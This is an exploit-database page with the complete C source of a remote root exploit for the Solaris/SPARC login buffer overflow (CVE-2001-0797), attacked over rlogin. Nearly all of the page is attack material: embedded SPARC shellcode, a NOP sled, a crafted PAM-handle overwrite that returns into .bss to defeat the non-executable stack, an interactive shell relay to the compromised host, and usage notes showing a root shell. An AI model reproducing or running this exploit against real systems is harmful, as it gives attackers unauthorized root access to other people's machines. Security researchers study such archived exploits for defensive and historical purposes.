raptor_rlogin.c

Related Vulnerabilities: CVE-2001-0797  
Publish Date: 31 Dec 2004
                							

                /*
 * $Id: raptor_rlogin.c,v 1.1.1.1 2004/12/04 14:35:33 raptor Exp $
 *
 * raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Buffer overflow in login in various System V based operating systems 
 * allows remote attackers to execute arbitrary commands via a large number 
 * of arguments through services such as telnet and rlogin (CVE-2001-0797).
 *
 * Dedicated to my beautiful croatian ladies (hello Zrinka!) -- August 2004
 *
 * This remote root exploit uses the (old) System V based /bin/login 
 * vulnerability via the rlogin attack vector, returning into the .bss 
 * section to effectively bypass the non-executable stack protection
 * (noexec_user_stack=1 in /etc/system).
 *
 * Many thanks to scut <scut@nb.in-berlin.de> (0dd) for his elite pam_handle_t
 * technique (see 7350logout.c), also thanks to inode <inode@deadlocks.info>.
 *
 * Usage (must be root):
 * # gcc raptor_rlogin.c -o raptor_rlogin -Wall
 * [on solaris: gcc raptor_rlogin.c -o raptor_rlogin -Wall -lxnet]
 * # ./raptor_rlogin -h 192.168.0.50
 * [...]
 * # id;uname -a;uptime;
 * uid=0(root) gid=0(root)
 * SunOS merlino 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
 *   7:45pm  up 12 day(s), 18:42,  1 user,  load average: 0.00, 0.00, 0.01
 * #
 *
 * Vulnerable platforms (SPARC):
 * Solaris 2.5.1 without patch 106160-02 [untested]
 * Solaris 2.6 without patch 105665-04 [untested]
 * Solaris 7 without patch 112300-01 [untested]
 * Solaris 8 without patch 111085-02 [tested]
 */

#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define  INFO1  "raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8"
#define  INFO2  "Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define  BUFSIZE  3000      // max size of the evil buffer
#define  RETADDR  0x27184      // retaddr, should be reliable
#define  TIMEOUT  10      // net_read() default timeout
#define  CMD  "id;uname -a;uptime;\n"  // executed upon exploitation

char sc[] = /* Solaris/SPARC special shellcode (courtesy of inode) */
/* execve() + exit() */
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc"
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4"
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";

char sparc_nop[] = /* Solaris/SPARC special nop (xor %sp, %sp, %o0) */
"\x90\x1b\x80\x0e";

/* prototypes */
int  exploit_addchar(unsigned char *ww, unsigned char wc);
void  fatalerr(char *func, char *error, int fd);
int  net_connect(char *host, int port, int timeout);
int  net_read(int fd, char *buf, int size, int timeout);
int  net_resolve(char *host);
int  sc_copy(unsigned char *buf, char *str, long len);
void  set_val(char *buf, int pos, int val);
void  shell(int fd);
void  usage(char *progname);

/*
 * main()
 */
int main(int argc, char **argv)
{
  char  buf[BUFSIZE], *p = buf;
  char  c, *host = NULL, term[] = "vt100/9600";
  int  fd, i, found, len;
  int  timeout = TIMEOUT, debug = 0;

  /* print exploit information */
  fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

  /* parse command line */
  if (argc < 2)
    usage(argv[0]);

  while ((c = getopt(argc, argv, "dh:t:")) != EOF)
    switch(c) {
    case 'h':
      host = optarg;
      break;
    case 't':
      timeout = atoi(optarg);
      break;
    case 'd':
      debug = 1;
      break;
    default:
      usage(argv[0]);
    }

  if (!host)
    usage(argv[0]);

  /* connect to the target host */
  fd = net_connect(host, 513, 10);
  fprintf(stderr, "# connected to remote host: %s\n", host);

  /* signal handling */
  signal(SIGPIPE, SIG_IGN);

  /* begin the rlogin session */
  memset(buf, 0, sizeof(buf));

  if (send(fd, buf, 1, 0) < 0)
    fatalerr("send", strerror(errno), fd);

  if (net_read(fd, buf, sizeof(buf), timeout) < 0)
    fatalerr("error", "Timeout reached in rlogin session", fd);

  /* dummy rlogin authentication */
  memcpy(p, "foo", 3);    // local login name
  p += 4;
  memcpy(p, "bar", 3);    // remote login name
  p += 4;
  memcpy(p, term, sizeof(term));  // terminal type
  p += sizeof(term);

  fprintf(stderr, "# performing dummy rlogin authentication\n");
  if (send(fd, buf, p - buf, 0) < 0)
    fatalerr("send", strerror(errno), fd);

  /* wait for password prompt */
  found = 0;
  memset(buf, 0, sizeof(buf));

  while (net_read(fd, buf, sizeof(buf), timeout)) {
    if (strstr(buf, "assword: ") != NULL) {
      found = 1;
      break;
    }
    memset(buf, 0, sizeof(buf));
  }

  if (!found)
    fatalerr("error", "Timeout waiting for password prompt", fd);

  /* send a dummy password */
  if (send(fd, "pass\n", 5, 0) < 0)
    fatalerr("send", strerror(errno), fd);

  /* wait for login prompt */
  found = 0;
  memset(buf, 0, sizeof(buf));

  fprintf(stderr, "# waiting for login prompt\n");
  while (net_read(fd, buf, sizeof(buf), timeout)) {
    if (strstr(buf, "ogin: ") != NULL) {
      found = 1;
      break;
    }
    memset(buf, 0, sizeof(buf));
  }

  if (!found)
    fatalerr("error", "Timeout waiting for login prompt", fd);

  fprintf(stderr, "# returning into 0x%08x\n", RETADDR);

  /* for debugging purposes */
  if (debug) {
    printf("# debug: press enter to continue");
    scanf("%c", &c);
  }

  /* prepare the evil buffer */
  memset(buf, 0, sizeof(buf));
  p = buf;

  /* login name */
  memcpy(p, "foo ", 4);
  p += 4;

  /* return address (env) */
  set_val(p, 0, RETADDR);
  p += 4;
  memcpy(p, " ", 1);
  p++;

  /* trigger the overflow (env) */
  for (i = 0; i < 60; i++, p += 2)
    memcpy(p, "a ", 2);

  /* padding */
  memcpy(p, " BBB", 4);
  p += 4;

  /* nop sled and shellcode */
  for (i = 0; i < 398; i++, p += 4)
    memcpy(p, sparc_nop, 4);
  p += sc_copy(p, sc, sizeof(sc) - 1);

  /* padding */
  memcpy(p, "BBB ", 4);
  p += 4;

  /* pam_handle_t: minimal header */
  memcpy(p, "CCCCCCCCCCCCCCCC", 16);
  p += 16;
  set_val(p, 0, RETADDR);  // must be a valid address
  p += 4;
  set_val(p, 0, 0x01);
  p += 4;

  /* pam_handle_t: NULL padding */
  for (i = 0; i < 52; i++, p += 4)
    set_val(p, 0, 0x00);

  /* pam_handle_t: pameptr must be the 65th ptr */
  memcpy(p, "\x00\x00\x00 AAAA\n", 9);
  p += 9;

  /* send the evil buffer, 256 chars a time */
  len = p - buf;
  p = buf;
  while (len > 0) {
    fprintf(stderr, "#");
    i = len > 0x100 ? 0x100 : len;
    send(fd, p, i, 0);
    len -= i;
    p += i;
    if (len)
      send(fd, "\x04", 1, 0);
    usleep(500000);
  }
  fprintf(stderr, "\n");
  
  /* wait for password prompt */
  found = 0;
  memset(buf, 0, sizeof(buf));

  fprintf(stderr, "# evil buffer sent, waiting for password prompt\n");
  while (net_read(fd, buf, sizeof(buf), timeout)) {
    if (strstr(buf, "assword: ") != NULL) {
      found = 1;
      break;
    }
    memset(buf, 0, sizeof(buf));
  }

  if (!found)
    fatalerr("error", "Most likely not vulnerable", fd);

  fprintf(stderr, "# password prompt received, waiting for shell\n");

  if (send(fd, "pass\n", 5, 0) < 0)
    fatalerr("send", strerror(errno), fd);

  /* wait for shell prompt */
  memset(buf, 0, sizeof(buf));
  found = 0;

  while (net_read(fd, buf, sizeof(buf), timeout)) {
    if (strstr(buf, "# ") != NULL) {
      found = 1;
      break;
    }
    memset(buf, 0, sizeof(buf));
  }

  if (!found)
    fatalerr("error", "Most likely not vulnerable", fd);

  /* connect to the remote shell */
  fprintf(stderr, "# shell prompt detected, successful exploitation\n\n");
  shell(fd);

  exit(0);
}

/*
 * exploit_addchar(): char translation for pam (ripped from scut)
 */
int exploit_addchar(unsigned char *ww, unsigned char wc)
{
  unsigned char * wwo = ww;

  switch (wc) {
  case ('\\'):
    *ww++ = '\\';
    *ww++ = '\\';
    break;
  case (0xff):
  case ('\n'):
  case (' '):
  case ('\t'):
    *ww++ = '\\';
    *ww++ = ((wc & 0300) >> 6) + '0';
    *ww++ = ((wc & 0070) >> 3) + '0';
    *ww++ = (wc & 0007) + '0';
    break;
  default:
    *ww++ = wc;
    break;
  }

  return (ww - wwo);
}

/*
 * fatalerr(): error handling routine
 */
void fatalerr(char *func, char *error, int fd)
{
  fprintf(stderr, "%s: %s\n", func, error);
  close(fd);
  exit(1);
}

/*
 * net_connect(): simple network connect with timeout
 */
int net_connect(char *host, int port, int timeout)
{
  int      fd, i, flags, sock_len;
  struct sockaddr_in  sin;
  struct timeval    tv;
  fd_set      fds;

  /* allocate a socket */
  if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
    perror("socket");
    exit(1);
  }

  /* bind a privileged port (FIXME) */
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = htonl(INADDR_ANY);
  for (i = 1023; i > 0; i--) {
    sin.sin_port = htons(i);
    if (!(bind(fd, (struct sockaddr *)&sin, sizeof(sin))))
      break;
  }
  if (i == 0)
    fatalerr("error", "Can't bind a privileged port (must be root)", fd);

  /* resolve the peer address */
  sin.sin_port = htons(port);
  if (!(sin.sin_addr.s_addr = net_resolve(host)))
    fatalerr("error", "Can't resolve hostname", fd);

  /* set non-blocking */
  if ((flags = fcntl(fd, F_GETFL, 0)) < 0)
    fatalerr("fcntl", strerror(errno), fd);
  if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
    fatalerr("fcntl", strerror(errno), fd);

  /* connect to remote host */
  if (!(connect(fd, (struct sockaddr *)&sin, sizeof(sin)))) {
    if (fcntl(fd, F_SETFL, flags) < 0)
      fatalerr("fcntl", strerror(errno), fd);
    return(fd);
  }
  if (errno != EINPROGRESS)
    fatalerr("error", "Can't connect to remote host", fd);

  /* set timeout */
  tv.tv_sec = timeout;
  tv.tv_usec = 0;

  /* setup select structs */
  FD_ZERO(&fds);
  FD_SET(fd, &fds);

  /* select */
  if (select(FD_SETSIZE, NULL, &fds, NULL, &tv) <= 0)
    fatalerr("error", "Can't connect to remote host", fd);
  
  /* check if connected */
  sock_len = sizeof(sin);
  if (getpeername(fd, (struct sockaddr *)&sin, &sock_len) < 0)
    fatalerr("error", "Can't connect to remote host", fd);
  if (fcntl(fd, F_SETFL, flags) < 0)
    fatalerr("fcntl", strerror(errno), fd);
  return(fd);
}

/*
 * net_read(): non-blocking read from fd
 */
int net_read(int fd, char *buf, int size, int timeout)
{
  fd_set    fds;
  struct timeval  wait;
  int    n = -1;

  /* set timeout */
  wait.tv_sec = timeout;
  wait.tv_usec = 0;

  memset(buf, 0, size);

  FD_ZERO(&fds);
  FD_SET(fd, &fds);

  /* select with timeout */
  if (select(FD_SETSIZE, &fds, NULL, NULL, &wait) < 0) {
    perror("select");
    exit(1);
  }

  /* read data if any */
  if (FD_ISSET(fd, &fds))
    n = read(fd, buf, size);

  return n;
}

/*
 * net_resolve(): simple network resolver
 */
int net_resolve(char *host)
{
  struct in_addr  addr;
  struct hostent  *he;

  memset(&addr, 0, sizeof(addr));

  if ((addr.s_addr = inet_addr(host)) == -1) {
    if (!(he = (struct hostent *)gethostbyname(host)))
      return(0);
    memcpy((char *)&addr.s_addr, he->h_addr, he->h_length);
  }
  return(addr.s_addr);
}

/*
 * sc_copy(): copy the shellcode, using exploit_addchar()
 */
int sc_copy(unsigned char *buf, char *str, long len)
{
  unsigned char  *or = buf;
  int     i;

  for(i = 0; i < len; i++)
    buf += exploit_addchar(buf, str[i]);

  return(buf - or);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
  buf[pos] =  (val & 0xff000000) >> 24;
  buf[pos + 1] =  (val & 0x00ff0000) >> 16;
  buf[pos + 2] =  (val & 0x0000ff00) >> 8;
  buf[pos + 3] =  (val & 0x000000ff);
}

/*
 * shell(): semi-interactive shell hack
 */
void shell(int fd)
{
  fd_set  fds;
  char  tmp[128];
  int  n;

  /* quote Hvar 2004 */
  fprintf(stderr, "\"Da Bog da ti se mamica nahitavala s vragom po dvoristu!\" -- Bozica (Hrvatska)\n\n");

  /* execute auto commands */
  write(1, "# ", 2);
  write(fd, CMD, strlen(CMD));

  /* semi-interactive shell */
  for (;;) {
    FD_ZERO(&fds);
    FD_SET(fd, &fds);
    FD_SET(0, &fds);

    if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
      perror("select");
      break;
    }

    /* read from fd and write to stdout */
    if (FD_ISSET(fd, &fds)) {
      if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
        fprintf(stderr, "Goodbye...\n");
        break;
      }
      if (write(1, tmp, n) < 0) {
        perror("write");
        break;
      }
    }

    /* read from stdin and write to fd */
    if (FD_ISSET(0, &fds)) {
      if ((n = read(0, tmp, sizeof(tmp))) < 0) {
        perror("read");
        break;
      }
      if (write(fd, tmp, n) < 0) {
        perror("write");
        break;
      }
    }
  }

  close(fd);
  exit(1);
}

void usage(char *progname)
{
  fprintf(stderr, "usage: %s [-h host] [-t timeout] [-d]\n\n", progname);
  fprintf(stderr, "-h host\t\tdestination ip or fqdn\n");
  fprintf(stderr, "-t timeout\tnet_read() timeout (default: %d)\n", TIMEOUT);
  fprintf(stderr, "-d\t\tturn on debug mode\n\n");
  exit(1);
}
<p>